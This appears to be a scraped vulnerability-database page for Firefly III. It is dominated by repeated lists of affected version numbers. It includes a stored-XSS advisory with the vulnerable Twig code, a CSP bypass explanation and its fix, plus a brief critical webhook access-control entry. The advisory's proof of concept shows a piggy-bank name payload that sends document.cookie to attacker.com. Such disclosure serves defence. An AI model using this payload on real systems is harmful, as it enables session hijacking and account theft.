            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 08, 2025

v6.4.4 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 01, 2025

v6.4.3 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


